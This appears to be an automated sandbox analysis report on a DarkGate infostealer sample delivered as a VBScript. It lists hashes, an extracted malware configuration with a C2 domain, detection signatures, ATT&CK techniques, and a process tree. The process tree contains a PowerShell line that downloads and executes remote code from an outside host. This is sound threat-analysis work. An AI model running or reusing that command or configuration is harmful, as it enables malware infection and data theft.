darkgate | 5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77

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12/08/2024, 11:41

240812-ntgelazapr8

08/05/2024, 15:00

240508-sdtr7sab2w8

05/04/2024, 15:07

240405-shpdaafc3v10

04/04/2024, 20:19

240404-y3t26aaa3710

Analysis

max time kernel
142s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
05/04/2024, 15:07

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General

Target
EXCEL_DOCUMENT_OPEN.vbs
Size 23KB
Sample240405-shpdaafc3v
SHA256 5237e653da5478c91e1de3d51a9713753b4bc1b4c9be8e9136cd9d94e216ae77
MD5 6925ed4c3665b27592c356b0bbd4948d
SHA1 7429a3929f68c87af85266c5d304f3e26e11a8c0
SHA512 333ffd943ea86e75822f6c59412fe12b77f95ddeffd1f0286606faab19b595b27b528457158cc6afe2dcb75455ce9e1fb012ddf171f895135fc90e9d249599b6
SSDEEP 384:J0Y5Y65Go4F0yNWe037NwNAUihUN+0X2RyiUiK3xYUif3JNB6Bcy:hYFFFNWe037NwNAUiKNIRyiUiK3xYUi2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

wpseed.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
BxIcizdM
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4664-34-0x0000000000AA0000-0x0000000000B14000-memory.dmp	family_darkgate_v6
behavioral2/memory/4664-36-0x0000000000AA0000-0x0000000000B14000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
4	2412	powershell.exe
8	2412	powershell.exe
18	2412	powershell.exe
19	2412	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4664	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2412	powershell.exe
2412	powershell.exe
4664	AutoHotkey.exe
4664	AutoHotkey.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2412	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 2412	4456	WScript.exe	92
PID 4456 wrote to memory of 2412	4456	WScript.exe	92
PID 2412 wrote to memory of 4664	2412	powershell.exe	101
PID 2412 wrote to memory of 4664	2412	powershell.exe	101
PID 2412 wrote to memory of 4664	2412	powershell.exe	101
PID 2412 wrote to memory of 4576	2412	powershell.exe	103
PID 2412 wrote to memory of 4576	2412	powershell.exe	103

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4576	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EXCEL_DOCUMENT_OPEN.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'irreceiver.com/lcyqeksm')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\jhxi\AutoHotkey.exe
    "C:\jhxi\AutoHotkey.exe" C:/jhxi/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4664
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/jhxi/
    3⤵
    - Views/modifies file attributes
    PID:4576

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3984 --field-trial-handle=2252,i,16022092570067181109,3235558581947505669,262144 --variations-seed-version /prefetch:8
1⤵
PID:3312

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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__PSScriptPolicyTest_amkk0f1i.4nz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_amkk0f1i.4nz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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AutoHotkey.exe

Path C:\jhxi\AutoHotkey.exe
Size 892KB
SHA256 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
MD5 a59a2d3e5dda7aca6ec879263aa42fd3
SHA1 312d496ec90eb30d5319307d47bfef602b6b8c6c
SHA512 852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030
SSDEEP 24576:bGzl9+a4Ne1nEFI56xU+0IdY2Zv952uetfbFEzP4UFhOt:b+tOWnEFZR0El0JEzQAh
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script.ahk

Path C:\jhxi\script.ahk
Size 441B
SHA256 e34f6758a1b84d68266447f5b06a0915fecf413722d961a5013fd33a1e20aa27
MD5 edca4feb4f8c7c1ae1a48f66828835d5
SHA1 448c0ea5b6e757d04adc6553b1bfb4c0c6d6e8ff
SHA512 ba71479e4cc79463d641c1410234a36a58733ab9b5d5189930ab182aeda7fb12fda213b4ce850141c15bf9f10dd83a01f217dc15dd7dce44b55b63a049f77900
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test.txt

Path C:\jhxi\test.txt
Size 923KB
SHA256 42eb2d253a7eb7f3e5e2c9da496e1c1d19661fa14cba599afbd3d2f343b1afa6
MD5 9b6b44cc34fb0ec0eccd43217c66cb40
SHA1 06daaa1a1a811ba345c15c68ad4b799fd7ad7f68
SHA512 dfc24a3561b02b93656e164286eb2146f19bd2a8fa979df103573104bec9ac6cdc12a776bf9f12a29e4bc5b531547d979dac3b28e816a6295662171b5b8eec25
SSDEEP 12288:htSC7BFd6XXV5Zos5bZqJB7ggl/qEpUwDoWiCrqJxq0/zi6wRSSfUcpNJwwLeoZe:Ice8NVBlC
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memory/2412-9-0x00000173B6260000-0x00000173B6282000-memory.dmp

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memory/2412-10-0x00007FFAE8B30000-0x00007FFAE95F1000-memory.dmp

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memory/2412-11-0x000001739C260000-0x000001739C270000-memory.dmp

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memory/2412-12-0x000001739C260000-0x000001739C270000-memory.dmp

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memory/2412-13-0x00000173B6890000-0x00000173B6A52000-memory.dmp

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memory/2412-31-0x00007FFAE8B30000-0x00007FFAE95F1000-memory.dmp

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memory/4664-34-0x0000000000AA0000-0x0000000000B14000-memory.dmp

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memory/4664-36-0x0000000000AA0000-0x0000000000B14000-memory.dmp

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